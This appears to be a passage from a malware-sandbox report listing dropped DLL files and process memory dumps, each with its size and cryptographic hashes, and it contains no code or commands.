eab8356896f05952e1bdfca467e998b23e5a9a5e5245f13d201f9b87b7a450be628c3513a8a4c40fa50ffaa8491c4508f1215c57ac608dd3e5e67290a5bedc0b

Download Submit
C:\Windows\spom\vp8encoder.dll

Filesize
238KB

MD5
200cba4b9cbdd64f1a281b89cd1467f3

SHA1
fc3ccf8d57efcdc0d22b61ff6e49798d551a9118

SHA256
c8529cff46283d4f7050c9f4ba42a6aad6ff580a22fc8f72bbedb17e63d4091e

SHA512
15a213790da6ddedc25369216ae725dccd16473599a8d5fd8b90f80aaa4fd20496f80e85a4ee5eae6a330930207cefc644ab704f7a6514bbf781151a38be38e3

Download Submit
C:\Windows\spom\webmmux.dll

Filesize
90KB

MD5
aa78ed008f72533c7136bf6d4bddb0d0

SHA1
2e9abd74e615adc99f561cbdbe6067dfd81a406a

SHA256
41e551ecb07620b4cace94a89bbcff6597df85a571ace50a7df929c9a94f1d11

SHA512
e9f49bc94909c46ae6dad9368e13cc758ff801c39ea8a459483bd17a8a40664b68c91d8602da588a84a39de9256e0accafb23a7667fb57640a55280ee61f4021

Download Submit
C:\Windows\spom\webmvorbisdecoder.dll

Filesize
141KB

MD5
0867a260483876336a727cf9f2928b13

SHA1
3c8c59bfba6ed2aeef35c0d1fc4689683df1e660

SHA256
cbc192c03b91280eb4561386290e3b346147d5b1362224d1deff781ff89be207

SHA512
b1d2518adb513c42ed877f1ee77d227d6d3600fc27b4d747f31b75cbfb85c53802cbf9b1fe0e1d09353ea4c29b6a49d5e7b7967b3fd8d15974d822649ca7a83f

Download Submit
C:\Windows\spom\webmvorbisencoder.dll

Filesize
202KB

MD5
43adc4acd56c56b0a25664954c7aa80c

SHA1
d9085625b4a39b3969db8047ad3224b3fc9f60fc

SHA256
0e33c9f15b53de632108ef6f7275cd4d980df86a408f330c57f717b7d5fa3918

SHA512
346dd9da1fe6be5219cb10cbe54c60a1661c5c06a21f3cf864a3f32121a90d29ea1bbcef33d2766811f3ef3242456c2c9606326c26d8b660fa26ff4ae8b24515

Download Submit
memory/960-159-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/960-158-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1028-155-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/1028-154-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/4404-190-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/4404-191-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/4500-133-0x0000000000400000-0x000000000078A000-memory.dmp

Filesize
3.5MB

Download
memory/4500-132-0x0000000000400000-0x000000000078A000-memory.dmp

Filesize
3.5MB

Download
memory/4632-171-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/4632-185-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/4808-183-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/4808-186-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/4956-182-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/4956-187-0x0000000000400000-0x00000000009AE000-memory.dmp

Filesize
5.7MB

Download
memory/5064-184-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download
memory/5064-170-0x0000000000400000-0x0000000000AA9000-memory.dmp

Filesize
6.7MB

Download